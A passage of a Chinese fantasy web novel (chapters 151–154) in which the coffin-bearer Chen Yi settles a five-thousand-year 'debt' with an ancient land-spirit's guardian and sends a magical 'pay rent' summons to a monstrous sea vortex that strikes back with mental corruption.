一滴,便足以让行将就木的真龙重焕新生。
代价,自然也是巨大的。
他现在感觉身体像是被抽空了,五脏六腑都泛着一股虚弱的疲惫,全靠着那股早已刻入骨子里的意志强撑着。
“行了,别惦记了。”
陈义吐出一口烟雾,声音听起来有些沙哑。
“那玩意儿叫‘龙蜕’,凡人沾了,轻则折寿,重则化为一滩脓水。给你,你也无福消受。”
胖三缩了缩脖子,不敢再多嘴,但小眼睛还是忍不住往海里瞟。
一路无话。
驱逐舰在指定港口靠岸时,没有盛大的欢迎仪式,甚至连多余的岗哨都看不到。
码头上,只静静地停着一辆黑色的红旗轿车。
秦老亲自等在那里,他身边只跟了一个秘书。
看到陈义一行人从舷梯上走下来,这位身居高位的老人快步上前,那张总是波澜不惊的脸上,此刻写满了复杂的情绪。
有震撼,有狂喜,更多的,是一种近乎于仰望神迹的敬畏。
“小义,辛苦了。”秦老握住陈义的手,感到他手心一片冰凉,不由得一愣。
“分内之事。”
陈义抽回手,将烟头在码头的垃圾桶上摁灭。
“东海那边,立了新规矩,短时间内出不了乱子。你们可以派人正常巡航了。”
“何止是出不了乱子……”秦老苦笑一声,“你走之后,我们收到了周边十几个国家发来的紧急照会,都在询问东海深处发生了什么。他们的深海探测器,无一例外,全都记录到了一声……龙吟。”
说到最后两个字,秦老的声音都在发颤。
“嗯。”陈义不置可否。
“小义,”秦老的神色变得无比严肃,“你这次的动静太大了。不比在泰山,不比在长城。你钓上来的,是全世界都能看到的神话。现在,全世界的眼睛,恐怕都在盯着我们,盯着你。”
“那就让他们看。”
陈义的回答简单直接。
“顺便告诉他们,来了我的地盘,就得守我的规矩。”
秦老看着陈义那张略显苍白的脸,和他平静得过分的眼神,最终只能长叹一声,点了点头。
他知道,眼前这个年轻人,已经成长为一尊连他都无法估量的存在。
他不再是那柄可以藏于鞘中的利剑,而是一尊定鼎神州的重器。
他能做的,不是去驾驭,而是倾尽国力,为其护航。
……
回到京城苏家老宅,已是深夜。
义字堂的兄弟们一个个都累瘫了,被陈义打发回去休息。
每个人走的时候,都感觉脚下发飘,今天发生的一切,比过去一年经历的加起来还要离奇。
陈义独自一人,推开了地下密室的石门。
“老祖宗,我回来了。”
他轻声说了一句,声音里带着一丝归家的疲惫。
那口巨大的青铜巨棺,静静地躺在密室中央。
没有像往常一样,在他归来时爆发出强烈的渴望与饥饿。
它的心跳声,沉稳而有力,如同蛰伏的巨兽在安然沉睡。
陈义走到“病历铜镜”前。
镜面上,原本那些代表着“病灶”的黑点、红斑,此刻已消失得一干二净。
整面铜镜呈现出一片璀璨而稳定的金色,神州九域的山川河流,在金光
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中缓缓流淌,充满了磅礴的生机。
泰山是稳固的土黄色。
黄河是厚重的玄黄色。
长城是坚韧的青金色。
昆仑是威严的紫金色。
而最新亮起的东海,则是一片深邃的蔚蓝,中央有一条小小的龙影在欢快地盘旋。
健康。
安宁。
陈义看着这片再无病痛的“病历”,心中那股紧绷了许久的弦,终于松了下来。
从爷爷去世,他接过义字堂的担子开始,就一直在奔波,在救火,在给这片病入膏肓的大地“抬棺治丧”。
现在,似乎……结束了?
一股巨大的空虚感,混杂着疲惫,如同潮水般涌了上来。
他靠着冰冷的墙壁,缓缓坐倒在地,长长地舒了一口气。
就在这时。
咚、咚、咚。
密室外,传来了急促的脚步声,紧接着是胖三慌张的叫喊。
“八爷!八爷!不好了!”
陈义眉头一皱,强撑着站起身,推开石门。
只见胖三脸色煞白,脑门上全是汗,指着大门的方向,话都说不利索了。
“门……门口……来了个怪人!”
“什么人?”
“不知道啊!”胖三快哭了,“就一个干瘦的老头,穿着一身破布袍子,杵着根破木棍。我问他是谁,他也不说话,就说找咱们当家的。我让他滚蛋,他……他就看了我一眼……”
胖三打了个哆嗦。
“就那一眼,我感觉自己像是被扒光了扔进冰窖里,从里到外都给看透了!腿肚子现在还转筋呢!”
能一个眼神就让如今见多识广的胖三吓成这样,绝非等闲之辈。
陈义心中一凛,压下身体的虚弱,大步走向院门。
他没有开门,而是凑到门上的猫眼向外望去。
夜色下,胡同的路灯将一道孤零零的影子拉得老长。
一个身穿灰色麻布长袍的老者,正静静地站在门外。
他身形枯瘦,头发花白,手中拄着一根看不出材质、满是岁月痕迹的木杖。
他脸上布满皱纹,神情平静,看起来就像一个寻常的乡下老者,没有任何出奇之处。
可就在陈义的目光透过猫眼,落在他身上的瞬间。
那老者仿佛有所感应,竟缓缓抬起头,浑浊的双眼精准地对上了猫眼的位置。
他没有流露出任何敌意,只是对着大门的方向,微微躬身,行了一个古老的礼节。
紧接着。
一个苍老而清晰的声音,没有通过空气,而是直接在陈义的脑海中响了起来。
“老朽奉故人之托,前来讨一笔五千年的旧账。”
第151章 来兑现了
那声音并非经由耳廓,而是像一根冰冷的钢针,径直从陈义的天灵盖刺入,顺着他的脊梁骨一路向下凿刻。
每一个字符,都裹挟着五千年风霜的重量,狠狠砸在他的心口上。
“老朽奉故人之托,前来讨一笔五千年的旧账。”
故人?
五千年的账?
陈义刚刚松懈下来的神经骤然绷紧,如同一根即将断裂的琴弦。
那股深入骨髓的疲惫,被一股更原始、更强大的警觉强行碾碎、压下。
他体内的血液,似乎在这一瞬彻底凝固,随即又以一种狂暴的姿态奔涌咆哮。
他缓缓站起身,身上没有一丝多余的动作,脚掌落地无声,每一步都踩得极稳,走向那扇隔绝了院内与院外的厚重木门。
胖三见陈义面色从未有过的凝重,吓得连呼吸都停了,蹑手蹑脚地跟在后面,掌心里已经攥紧了一根冰冷的撬棍。
陈义没理他,只是将眼睛凑到了门上的猫眼。
胡同里昏黄的路灯,将一道枯瘦的身影拉得无比悠长,像一道刻在大地上的伤疤。
那人就静静地伫立在那里,仿佛从始至终就与这夜色、与这古旧的胡同长在了一起。
他穿着洗到发白的麻布袍子,手中拄着一根看不出年岁的木杖,杖头被岁月摩挲得油光发亮。
他就像乡野间最常见的那种老人,守着几亩薄田,看了一辈子日升月落。
可当陈义的目光穿过猫眼,落在他身上的那一刻。
那老者竟像洞穿了厚重的木门与狭小的镜片,精准地与他的视线悍然对撞。
那是一双怎样的眼睛?
没有浑浊,也没有星空,只有一片无尽的虚无。
仿佛见证了沧海化为桑田,又见证了桑田归于沧海,周而复始,万古不变。
没有杀气,没有敌意,甚至没有半分情绪。
那是一种超越了所有生命形态的、纯粹的“存在”。
山在那里。
河在那里。
他,也就在那里。
老者对着门的方向,微微躬身,行了一个古朴到陈义只在古籍中见过的礼节。
陈义沉默着,收回目光。
他对着身后紧张到快要同手同脚的胖三,只说了一句。
“开门。”
“八爷!”胖三的嗓音都在发颤,压低了声音急道,“这老头子……邪性!太邪性了!”
“开门。”
陈义的声音依旧平淡,却带着一种斩钉截铁的决断。
胖三死死咬着牙,肥硕的身子哆嗦了一下,最终还是伸出颤抖的手,拉开了门栓。
吱呀——
老宅的木门,向着院内缓缓洞开。
门外的老者抬起头,目光落在陈义的身上,平静地、一寸一寸地打量着。
陈义也在打量着他。
两人谁都没有说话。
院子里的风停了,树叶不再摇摆,连虫鸣都诡异地消失。
寂静,化作了实质的压力。
胖三躲在陈义身后,只觉得胸口像是被一块万钧巨石死死压住,每一次呼吸都带着撕裂般的痛楚。
那老头明明瘦得像根干柴,可他往门口一站,就仿佛将一整座泰山都搬了过来,堵**所有人的生路。
良久。
陈义率先打破了这片死寂。
“前辈深夜登门,不知这五千年的旧账,该怎么个算法?”
他的声音带着刚从东海归来的沙哑,但每一个字都像一颗颗砸在青石板上的钉子,沉稳,有力。
老者那张布满沟壑的脸上,第一次浮现出一丝极淡的表情,像是一种赞许。
“人皇归墟,你为人皇执绋,这声‘前辈’,老朽担得起。”
他开口了,声音和之前在陈义脑海中响起的一模一样,苍老,却带着一种能穿透神魂的奇异力量。
“至于这账……”
老者顿了顿,手中的木杖在青石板上,轻轻一点。
咚。
一声闷响。
院子里,胖三、猴子、大牛等人,心脏像是被一只无形的大手狠狠攥住,齐齐闷哼一声,脸色瞬间煞白。
“账,不在金银,在山河社稷。”
老者缓缓说道:“昔年,洪水滔天,万民离散。轩辕氏为定鼎九州,一统万邦,曾向吾主许下宏愿,借走了一份权柄。”
“吾主?”陈义的眼皮,控制不住地跳了一下。
“神州地脉,社稷之灵。”
老者回答得理所当然,仿佛在诉说一件天地初开时便已定下的公理。
“轩辕氏以这份权柄为根基,败蚩尤,合炎黄,立下华夏之始。他承诺,待天下安定,后继有人,这份权柄,自当归还。”
“老朽,便是社稷之灵的看护人。”
“等了五千年,终于等到人皇归位,权柄归一。”
老者抬起那双虚无的眼,直视着陈义的眉心。
那里,刚刚隐去的人皇印,此刻仿佛被烙铁烫中,灼热无比。
“今日,老朽奉社G之命,前来收回这份权柄。”
话音落下。
整个院子的气压仿佛被瞬间抽空。
胖三只觉得双腿一软,膝盖骨“咚”的一声,竟是直挺挺地跪在了地上。
猴子、大牛等人也被这股言出法随的力量惊动,从屋里狂冲而出,一个个面色狰狞,如临大敌。
收回权柄?
那是什么东西?
八爷一路走来,平山河,定龙脉,镇国运,靠的是什么?
不就是那份神鬼莫测的权柄吗!
这要是被收走了,那还得了?
这老头子不是来讨债的,他是来刨他们所有人的根,来要八爷的命的!
“老东西!你放**什么屁!”胖三急眼了,也顾不上那深入骨髓的恐惧,指着老者的鼻子就要破口大骂。
“住口!”
陈义一声低喝,止住了胖三。
他看着眼前的老者,脑海中早已掀起了滔天巨浪,但脸上依旧平静如水。
他明白了。
这,才是真正的“规矩”。
不是人与人之间的规矩,而是人与这片天地之间的规矩。
轩辕黄帝,是借了“地”的力量,才成就了“人”的伟业。
有借,就必须有还。
天经地义。
他陈义,一路走来,靠的就是“规矩”二字立身。
如果今天,他仗着人皇印的力量,赖掉这笔横跨五千年的旧账,那么他所坚守的一切,都将瞬间崩塌,化为乌有。
他的道,就破了。
这老者,不是来打架的。
他是来,考验他的。
陈义沉默了很久很久,院子里只剩下兄弟们因为恐惧而变得粗重的呼吸声。
最终,他对着老者,同样行了一个古礼,深深一揖,腰弯到了九十度。
“始祖的承诺,就是我陈义的承诺。”
“这账,我认。”
此话一出,胖三等人全都懵了,脑子一片空白。
“八爷!”
“不能认啊!爷!”
陈义缓缓抬手,止住了所有人的嘶喊。
他直起身,目光清澈,直视着老者,缓缓道:“只是,我有一事不明,还请前辈解惑。”
“但说无妨。”老者的眼中,赞许之色更浓。
“权柄,我可以还。”
陈义一字一句,声音不大,却响彻整个院落。
“但这社稷,又该怎么还?”
他伸手指了指脚下坚实的土地,又指了指头顶无垠的夜空。
“如今的神州,早已不是五千年前的部落。这片土地上,有十四万万生民,他们的悲欢离合,衣食住行,一呼一吸,都与这社稷权柄紧密相连,早已是你中有我,我中有你,再也无法分割。”
“抽走它,就等于抽走了这片大地的龙骨,抽走了这十四万万人的魂。”
“届时,山河崩碎,国运倾颓,天下大乱,亿万生灵涂炭。”
陈义的目光陡然变得锐利,像两柄出鞘的利剑,刺向老者。
他沉声问道:
“为了还一笔旧账,而造下如此滔天杀孽。”
“这,又算不算破了另一桩更大的规矩?”
老者沉默了。
他那双看透了五千年风云的眼睛,第一次,出现了剧烈的波动。
陈义没有咄咄逼人,他转身,从屋里拿出茶具,就在院中的石桌上,亲手为老者沏了一杯茶。
“前辈,请。”
氤氲的茶香,在凝重如铁的空气中,缓缓
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弥漫开来。
老者看了一眼那杯清澈的茶汤,又深深地看了一眼陈义。
最终,他走入院中,在石凳上坐了下来。
“你想如何?”他问道。
“账,不能赖。”
陈义将茶杯推到他面前,平静地开口。
“但还法,得改改。”
“这社稷权柄,名义上,今日便物归原主。我陈义,以及未来的每一代人皇执绋人,都只是代为掌管。”
“这笔账,我不直接还给前辈。”
“我替社稷,还给这天下苍生。”
陈义的声音陡然拔高,每一个字都带着金石之声,带着他身为抬棺匠的无上意志。
“我以这副身躯为棺!”
“以人皇之名为杠!”
“将这**江山,扛在肩上!”
“我护它风调雨顺,护它国泰民安,护它再无病痛,护它免受外敌欺凌!”
“我扛一日,便算是还了一日的账。直到我扛不动了,再将这副担子,交给下一个能扛得动它的人。”
陈义的声音不高,却掷地有声,每一个字都像是一道惊雷,在所有人的神魂深处轰然炸响。
“前辈,您看,我这个还法,可还算公道?”
“可还守着规矩?”
以身为棺,肩扛山河!
这八个字,让在场的所有人都心神剧震,头皮发麻。
他们终于明白了。
八爷抬的,早就不再是那一口口的棺材。
他要抬的,是这整个天下!是这整个文明!
老者端起茶杯,枯瘦的手指稳稳地捏着杯壁。
他没有喝,只是看着杯中沉浮的茶叶,久久不语。
院子里,落针可闻。
许久,许久之后。
他才发出一声悠长的,仿佛穿越了五千年时光的叹息。
“好一个……‘以身为棺,肩扛山河’……”
老者抬起头,眼中那看透世事的虚无,此刻竟化作了一片前所未有的清明。
“轩辕氏,没有选错人。”
他将杯中茶水一饮而尽,随后站起身。
“这笔旧账,便依你的新约来还。”
说完,他手中的木杖,再次往地上一顿。
咚!
这一次,不再是沉闷的声响。
一道肉眼不可见的土黄色波纹,以木杖为中心,无声无息地扩散开来。
波纹拂过青石板,拂过院中的老槐树,拂过陈义和义字堂的每一个人。
陈义只觉得脚下的大地,传来一阵无比亲切、无比厚重的脉动,仿佛整片神州大地,都在这一刻对他敞开了胸怀,与他血脉相连。
他眉心的人皇印,发出一阵温润的光芒,与这股脉动完美地融合在了一起。
这不是力量的赋予。
而是一种认可。
是这片土地,对它新的守护者的……最高认可。
旧账已清,新约已立。
“老朽,该走了。”老者转身,身形开始变得虚幻、透明。
“前辈!”陈义忽然开口,“华夏之外,又是何光景?”
老者的身影顿了顿,留下了最后一句话,飘散在夜风里。
“这方天地,太小了……”
话音落,人影散。
仿佛他,从未出现过。
院子里,死一般的寂静。
陈义独自站在石桌前,看着那只空了的茶杯,久久无言。
他感觉肩膀上的担子,比之前重了何止万倍。
“八……八爷?”
胖三小心翼翼地凑了过来,一张胖脸皱成了包子,声音都在打颤。
“那……那老神仙,走了?”
陈义回过神,点了点头。
“我的爷啊!”胖三一屁股坐在地上,拍着大腿就哀嚎起来,“您刚才吓死我了!我真以为他要把您给带走了!您看您这脸色,比刚从东海回来还白!他是不是把您的阳寿给瞪走了一半啊?”
陈义被他这番话逗得哭笑不得,心中那股沉甸甸的压力,倒是散去了几分。
他摇了摇头,看着深邃的夜空。
“没事。”
“只是跟一位老朋友,谈了笔生意。”
一笔横跨五千年,以整个天下为赌注的生意。
而他,是唯一的承兑人。
第152章 这天下,是一笔生意!
院子里,死一般的寂静被胖三一声撕心裂肺的哀嚎划破。
“我的爷啊!您可千万不能有事!”
胖三一屁股瘫在地上,肥硕的身躯抖得像个筛子,鼻涕眼泪糊了满脸。
“那老神仙是不是把您的魂儿给勾走了一半?您这脸色,比刚扎出来的纸人还白!”
猴子和大牛他们几个,虽然没胖三那么夸张,但也都死死盯着陈义,眼神里的惊惧和担忧几乎要溢出来。
刚才那老者带来的压力,是一座看不见的山。
现在山走了,可那股子让人骨头发凉的后怕,还缠在每个人的脊梁骨上。
陈义看着他们,心里那股因“新约”而压上的,足以压垮神明的沉重感,反倒被这股子烟火气冲淡了几分。
他摆了摆手,声音有些沙哑,但字字清晰。
“没事,死不了。”
他没解释。
这种横跨五千年的“规矩”之争,言语已经无法描述。
他只是走到石桌边,看着那只空了的茶杯,沉默不语。
他能感觉到,自己和脚下这片土地的联系,彻底变了。
如果说之前,他是这片土地的医生,地脉龙气是他的手术刀和药。
那么现在,他就是这片土地的监护人。
一呼一吸,血脉相连。
他能清晰地感受到每一寸山河的脉动,每一座城市的呼吸。
甚至……是这片土地上,那十四万万生民汇聚成的,名为“人间”的磅礴生命力。
这股力量,不为他所用,却与他共存。
这,就是他要扛起来的那口“棺材”。
一种前所未有的责任,沉甸甸地压在他的神魂之上,比当初在昆仑地心撬动龙骨时,还要重上万倍。
“八爷。”
大牛瓮声瓮气地开口,他不懂什么大道理,只是耿直地问,“俺们……接下来干啥?”
陈义回过神,看了一眼这群从始至终都陪着他的兄弟。
他笑了笑。
“该干啥,还干啥。”
“天塌下来,也得吃饭睡觉。去,让厨房弄点吃的,饿了。”
一句话,让院子里几乎凝固的气氛,瞬间活了过来。
胖三麻利地从地上一骨碌爬起来,胡乱抹了把脸,一溜烟就往厨房跑。
“得嘞!我这就去!爷您等着,给您下碗阳春面,卧俩荷包蛋,必须是溏心的!”
就在这时,陈义口袋里的那部红色专线电话,嗡嗡震动。
秦老。
陈义接起,没等他开口,电话那头就传来了秦老极力压抑着震撼的声音。
“陈小友……你那边,没事吧?”
“没事。”
“没事?”秦老的声音陡然拔高,“就在刚才,我们所有的监测站都捕捉到了一股……无法形容的波动!不是地质活动,也不是能量潮汐!整个神州的气运场,像被一只无形的大手彻底抚平、夯实!所有的暗流和隐患,在一瞬间……归于平静!这……这到底发生了什么?”
秦老戎马一生,什么风浪没见过,可这一次,他是真的被惊到了。
那种感觉,就好像一个常年漏水的破房子,突然间所有的缝隙都被堵死,地基被重新加固,甚至连房梁都换成了金丝楠木。
这不是神迹,这是创世。
陈义走到院中的老槐树下,手掌抚摸着粗糙的树皮,感受着从大地深处传来的,那股子亲切的脉动。
“没什么。”他对着电话,语气平静得像在说一件寻常小事。
“就是之前这房子的老业主找上门,查了查账。”
“我跟他,重新签了份租赁合同。”
电话那头,陷入了死寂。
秦老听不懂什么老业主,什么租赁合同,但他听懂了陈义话语里那不容置疑的分量。
良久,秦老才用一种近乎叹息的语气说道:“明白了。陈小友,辛苦了。”
“分内之事。”陈义淡淡道,“对了,秦老,帮我查些东西。”
“您说!”
“所有关于……神州之外的,古代神话、异闻传说、超自然事件的记载。无论多荒诞不经,只要有,我都要。”
秦老心中剧震,立刻想到了不久前被陈义平定的外滩神国事件。
“小友是担心……?”
“那老业主走之前,说了句话。”
陈义抬头,看着被京城灯火染成昏黄色的夜空。
“他说,这方天地,太小了。”
秦老再次沉默。
挂断电话,陈义独自一人,走回了地下密室。
那口吞噬了冠军侯凶棺的青铜巨棺,此刻正静静地躺在密室中央,心跳声沉稳而有力。
陈义没理它,径直走到了那面“病历铜镜”前。
镜面上,代表着神州九域的地图依旧清晰。
泰山、黄河、长城、昆仑……那些曾经的黑色病灶,如今都化作了稳定而明亮的光点,彼此连接,构成了一张完美无瑕的经络图。
整个神州,前所未有的安宁。
可陈义的目光,却越过了这片安宁的疆域,投向了地图的边缘。
东海之外,是无尽的深蓝。
西域之西,是连绵的黄沙。
北境之上,是冰封的雪原。
南疆之下,是迷雾笼罩的丛林。
过去,这些地方在铜镜上都是一片混沌的未知。
但现在,随着“新约”成立,他的“视野”,或者说他需要“负责”的范围,被无形地扩大了。
他凝神看去。
在那片深蓝色的东海之外,更
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遥远、更深邃的海洋中,一个极其微小的、若隐若现的黑色旋涡,正在缓缓成型。
漩涡的中心,是一座被无数巨大锁链捆绑的岛屿,正发出无声的哀嚎,充满了混乱与疯狂。
在西域尽头的沙漠深处,一座被风沙掩埋的黄金古城影像,一闪而逝。
城中,有无数双贪婪的眼睛,正隔着无尽空间,死死盯住了东方这片刚刚恢复生机的沃土。
北方的冰原之下,有什么东西在蠕动,散发着足以冻结灵魂的绝对温度。
……
这些景象,都模糊不清,但那股子渗透出来的,充满了恶意、贪婪和毁灭欲望的气息,却真实不虚。
“这方天地,太小了……”
陈义终于明白了老者这句话的真正含义。
神州,只是这颗星球上的一方“天地”。
在这方天地之外,还有着更多、更古老、更诡异的存在。
过去,神州内部沉疴遍地,自顾不暇。
而如今,他治好了神州的“病”,让这片土地重新焕发生机。
这就好比一桌绝世的盛宴,刚刚备好,那股诱人的香气,自然会引来四面八方早已饥肠辘辘的恶客。
“生意……自己找上门了啊。”
陈义伸出手指,轻轻触碰了一下铜镜上,代表着东海之外那个黑色旋涡的影像。
指尖刚刚触及,一股阴冷、暴虐、混乱到极致的意志,便顺着他的指尖,悍然反噬!
陈义眼神一冷,眉心的人皇印金光微闪,瞬间将这股意志碾得粉碎。
他收回手指,看着那个被他触碰后,变得稍微清晰了一些的黑色漩D涡,眼神变得无比深邃。
就在这时,密室的门被推开一条缝。
胖三探进来一个脑袋,手里还端着一碗热气腾腾的面。
“八爷,面好了,趁热吃。”
他看见陈义正对着那面古怪的镜子发呆,忍不住小声嘀咕。
“爷,您以后不会真要抬着山满世界跑吧?那家伙什儿可不好配啊,杠木得用多粗的?天柱山的料子够不够使?”
陈义被他逗笑了。
转身从他手里接过那碗面,熟悉的葱油香气扑鼻而来。
那股子被宏大叙事压得有些悬浮的神魂,瞬间落回了这片坚实的人间。
他呼噜呼噜地吃了一大口面,感受着温暖的汤汁顺着食道滑入胃里,浑身都舒坦了不少。
“杠木的事,不用你操心。”陈义一边吃,一边含糊不清地说道。
“那俺操心啥?”
陈义抬起头,看了一眼铜镜上那些新出现的“病灶”,嘴角勾起一抹意味深长的弧度。
“你去操心操心。”
“怎么跟那些不懂规矩的新租客,收租金吧。”
第153章 用东风快递送催款单,阁下如何应对?
“收、收租金?”
他那一双小眼睛在陈义和那面诡异的铜镜之间来回扫射,脑子里彻底成了一锅沸腾的豆汁儿。
“我的爷,咱……咱这抬棺的行当,啥时候拓展包租业务了?可这租金……跟谁收啊?那黑漆漆的大海,它能吐出金条还是美元?总不能是风干的海带吧!”
猴子和大牛几个也是满脸的茫然。
抬棺、镇魔,他们能理解。
后来跟着爷去敕令黄河、撬动龙脉,他们拼了命也能接受。
可这“收租”二字,实实在在超出了一个抬棺匠的认知边界。
陈义没搭理胖三的胡说八道,他把碗递回去,那股因承接社稷而压在神魂深处的山海之重,竟被这碗热气腾腾的阳春面冲淡了些许,落回了人间。
他再次走到铜镜前,审视着地图边缘之外,那片混沌区域里新生的几个漆黑“病灶”。
“以前,咱们抬棺送行,讲一个入土为安。”
陈义的声音很轻,却像钉子一样,钉进了每个兄弟的耳朵里。
“那是对**的规矩。”
他顿了顿,抬手指向镜中的神州疆域。
“现在,这家里打扫干净了,就得立个对活人的规矩。”
“或者说……对那些赖在左邻右舍,还总想往咱们院里伸脚的腌臜东西,立个新规矩。”
这话,大牛他们听得半懂不懂,但核心意思抓住了。
有不开眼的,要来找死。
而他们的八爷,打算先一步把请帖送过去。
“明白了八爷!”大牛胸脯拍得“嘭嘭”响,瓮声瓮气地吼道,“您指哪儿,俺们的杠木就往哪儿砸!”
陈义笑了,摇了摇头。
“这次,不用杠木。”
话音刚落,那部红色专线电话再次震动。
秦老。
电话接通的瞬间,秦老那混合着极度紧迫与凝重的声音便冲了出来。
“小友,你要的东西,我动用了最高权限,找到了。”
“说。”
“一份代号‘归墟’的绝密档案。记录着一片位于东海之外,坐标XXX,XXX的禁忌海域。”
秦老的声音压得极低,每一个字都透着彻骨的寒意。
“古籍称其为‘归墟之眼’,无底之谷,万水之终。近代记录中,超过一百三十艘舰船,七十余架飞机,在那片区域彻底蒸发,没有任何求救信号,如同被世界法则本身抹除。”
“我们曾秘密派遣‘蛟龙号’深潜器进行极限探测,结果……它在传回一段被判定为‘纯粹噪音’的音频后,永久失联。”
“那段音频,由天河超算中心解析了整整三年,最终只还原出两个高频词汇。”
“什么词?”陈义问道。
电话那头死寂了两秒。
“‘饥饿’。”
“与‘疯狂’。”
陈义的视线,精准地落在了铜镜上那个缓缓旋转的黑色旋涡之上。
坐标,分毫不差。
“知道了。”陈义的语气没有一丝波澜,“秦老,再帮我个忙。”
“小友请讲!只要我能做到!”
“我需要知道,目前我们武库中,单次投送质量最大、突防速度最快的载具,是什么型号,以及它的全部参数。”
电话那头的呼吸,猛地停滞。
秦老瞬间领会了陈义的意图,一股凉气顺着脊椎骨直冲头顶。
用国之重器去攻击那片连光都能吞噬的“归墟”?
“小友,那片区域的物理规则是坍缩的,任何常规武器进入都……”
“我不需要它**。”
陈义打断了他。
“我只需要它足够重,速度足够快。”
“替我……送一份东西过去。”
“送……东西?”
“对。”陈义看着铜镜,声音淡漠,“一份催款单。”
电话挂断。
整个院子,落针可闻。
胖三他们几个连呼吸都下意识地屏住了。
八爷要干什么?
动用国之重器……去送一份催款单?
这他妈比任何话本小说里写的都要荒诞,都要霸道!
陈义不再解释,转身走入书房,片刻后,拿出了一卷空白的黄裱纸。
那纸张的颜色沉如古玉,质地细腻,隐有流光内蕴。
这是义字堂压箱底的宝贝,唯有签订“抬棺契”时才会动用的“规矩纸”。
纸张在石桌上铺开,朱砂、狼毫,依次摆放。
“胖三,研墨。”
“诶!好嘞!”
胖三一个激灵回过神,连滚带爬地跑过去,用一种前所未有的虔诚,小心翼翼地研磨起朱砂。
他心里犯着嘀咕,这催款单,还得用毛笔写?
难道那片大海里的怪物,还认识神州的古篆不成?
陈义手持狼毫,却并未蘸墨。
他闭上双眼。
眉心那枚无形的“人皇印”骤然亮起。
这一瞬,整个苏家老宅,不,是整座京城的地气,都为他这一凝神,而产生了刹那的停滞。
下一息,陈义睁眼。
那双眸子里再无半分常人的情感,唯有至高无上的“法度”在流转。
他手腕微动,狼毫坠入朱砂盘。
笔尖没入的,并非红艳的朱砂液体。
那朱砂在笔锋触
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及的瞬间,就化作了一点紫金色的光芒,被狼毫尽数吸入。
那光芒,仿佛凝聚了整片神州大地的重量。
那光芒,是人皇的权柄,是社稷的意志,是十四万万生民的人间烟火!
他提笔,落纸。
没有繁复的檄文,没有高深的符箓。
纸上,只出现了两个字。
铁画银钩,霸道天成。
“交租!”
字成的瞬间,黄裱纸并未燃烧,而是直接化作了光!
刺目却不灼人的金光冲霄而起,将整个院落渲染成一片神圣的领域。
一股浩瀚、威严、不容抗拒的律法意志,从那两个字中轰然迸发!
胖三等人被这股意志当面一冲,齐齐被掀飞出去,狼狈地摔倒在地,满脸骇然。
他们感觉自己面对的不是两个字。
而是一方天地!
是这片土地最古老、最根本的契约!
陈义看着那团悬浮的金色光子,面无表情地伸出两根手指,对着那光团,轻轻一弹。
“去。”
嗡——!
那团包裹着“交租”二字的金光,收到敕令,没有任何征兆地从石桌上消失了。
不是破空,不是传送。
是凭空不见。
下一秒。
陈义口袋里的专线电话,发出撕心裂肺的尖锐警报!
他接起,里面传出秦老彻底失态的咆哮。
“陈小友!!”
“就在刚才!零点零一秒之前!太平洋‘归墟’坐标点,天基监测系统捕捉到一次无法解析的能量事件!”
“强度……强度瞬间击穿了我们有史以来所有核爆的监测阈值!”
“不是**!不是能量释放!根据模型回溯,更像是……更像是有什么东西,被以一种超越因果的方式,直接钉进了那片空间的‘核心’!”
“现在,整个归墟之眼的能量场彻底沸腾了!它前所未有的狂暴!”
陈义听着汇报,眼神平静如渊。
“知道了。”
他挂断电话,瞥了一眼铜镜。
镜面上,那个黑色的旋涡,正以一种癫狂的速度疯狂旋转。
而在它的最中心,两个紫金色的古字,如烧红的烙铁,死死烙印其上,散发着不容抗拒的威严。
“交租”。
“八爷……”胖三手脚并用地爬过来,声音都在发抖,“这……这就送到了?”
“嗯。”
陈义双手揣进兜里,转身向屋内走去。
“通知那个新来的租客,我这儿的规矩。”
“三天。”
“租金不到。”
“我亲自上门……收房。”
第154章 房客回信?不,是送上门的开胃菜!
苏家老宅的院子里,死寂一片。
胖三、大牛、猴子、老七几个人,被抽走了全身的力气,瘫在地上,喉咙里发出破风箱般的喘息。
他们被那两个字迸发出的意志掀飞,摔得七荤八素。
但身体的疼痛,远不及灵魂深处的剧烈战栗。
八爷,用国之重器,给一片能吞噬光线的禁忌之海,送去了一张手写的催款单。
这事,魔幻到足以载入史册。
可它就这么发生了。
胖三哆哆嗦嗦地掏出根烟,点了三次才点着,猛吸一口,烟雾呛得他眼泪直流。
“爷……八爷……您这……这业务范围,是不是有点太……太跨界了?”
陈义没理他,只是平静地注视着那面“病历铜镜”。
镜面上,代表“归墟之眼”的黑色旋涡,此刻已经不是在旋转。
它在抽搐,在痉挛。
那种疯狂的搅动,是一个被无形烙铁狠狠烫在核心的活物,正歇斯底里地挣扎。
烙印在它核心的那两个紫金色古字——“交租”,如钉入骨髓的钢钉,任凭它如何翻腾,都无法磨灭分毫。
反而随着它的挣扎,烙印得越来越深,越来越亮。
“看来,它收到信了。”陈义的语气毫无波澜。
猴子扶着墙站起来,脸色惨白。
“八爷,这……这玩意儿,它会怎么‘回信’?”
话音刚落。
异变陡生!
天,黑了。
不是乌云盖顶的黑,是光线被凭空抽走,整个世界陷入了绝对的死寂。
院子里的石榴树、石桌、躺椅,一切事物的色彩都在迅速褪去,化作一种令人心悸的灰白。
空气凝滞,变得粘稠而冰冷,带着一股来自万米深海的腥臭与腐朽。
一股无法言喻的意志,化作无形潮水,瞬间淹没了整个院落。
“饿……”
一个念头,并非声音,却直接在胖三等人的脑海最深处轰然炸开。
那不是简单的饥饿。
那是一种源自存在本身的、永恒的、永远无法被满足的空虚与疯狂。
亿万只冰冷的蚂蚁,啃噬着你的灵魂,告诉你,你的存在毫无意义,你的一切奋斗、喜悦、悲伤,都只是填补这无尽空虚的燃料。
胖三的双眼瞬间血红,他死死盯着地上的一块青砖,喉咙里发出野兽般的“嗬嗬”声,口水顺着嘴角流下,竟真的产生了一股要扑上去啃食的冲动。
猴子和大牛稍好一些,但也是浑身剧震,牙关紧咬,拼命抵抗着那股要将理-智彻底吞噬的疯狂。
他们的记忆、情感、乃至人格,都在被一股无形的力量拉扯、撕碎,要被同化成那片混沌的一部分。
这就是“归墟之眼”的回信。
它不懂“契约”,不识“规矩”。
它的本能,就是吞噬和同化。
既然陈义在它的核心留下了一道法度,那它就循着这条链接,将自己的法度——纯粹的饥饿与疯狂,反向投射过来。
它要污染这个源头。
它要把这里,也变成它的一部分。
然而,在这片足以让神佛堕落的疯狂意志中,陈义站在原地,一动不动。
精神污染的洪流冲刷在他身上,没能吹动他分毫衣角。
他甚至侧了侧头,像是在品鉴一道新奇的菜色。
“有点意思。”
他评价道。
“味道挺冲,就是没什么营养。”
话音未落。
苏家老宅的地下深处,那口始终沉寂的青铜巨棺,猛地发出了一声沉重的心跳。
“咚!”
